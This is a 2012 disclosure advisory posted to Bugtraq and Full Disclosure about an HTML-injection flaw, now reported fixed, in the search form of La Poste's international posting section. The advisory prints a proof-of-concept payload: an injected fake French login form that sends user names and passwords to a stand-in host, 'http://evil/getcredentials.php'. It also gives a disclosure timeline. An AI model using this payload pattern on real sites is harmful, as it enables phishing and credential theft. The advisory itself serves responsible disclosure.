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Date: Wed, 5 Dec 2012 16:05:37 +0100
From: Emmanuel FARCY <>
To: Bugtrack <>, 
	Full Disclosure <>
Subject: XSS vulnerability on

Version: -
Enterprise website:
Status: fixed
Level: Low

La Poste is the main french firm mail services.

The search form in international posting section is vulnerable to XSS

Due to an improper sanitization, search field can be used with an XSS attack.

Javascript is correcly filtered, but HTML Tag not.

A forged email can be send like that:

<form name="hahaha" method="post"
<input name="tx_indexedsearch[sword]" id="rechercheAv"
value='"></form><br><br><form method="post"
action="http://evil/getcredentials.php"><div class="formLog"><fieldset
class="fieldsetForm"><legend>Veuillez Vous identifier</legend><label
for="login" class="navCachee">Identifiant</label><input type="text"
name="user" id="login" value="Email" class="inputSmall"/><br /><label
for="password" class="navCachee">Mot de passe</label><input value="mot
de passe" type="password"/><br /><input type="submit" id="ok"
name="submit" value="Se connecter" class="buttonSmall" /></form><!--'
class="input" type="hidden" />

09/10/2012: bug report with POC
02/11/2012: Vulnerability fixed after several email because they
didn't understand the risk (This a POST parameter, how can I be
vulnerable, evil must be behind the victim!)
05/12/2012: Advisory published

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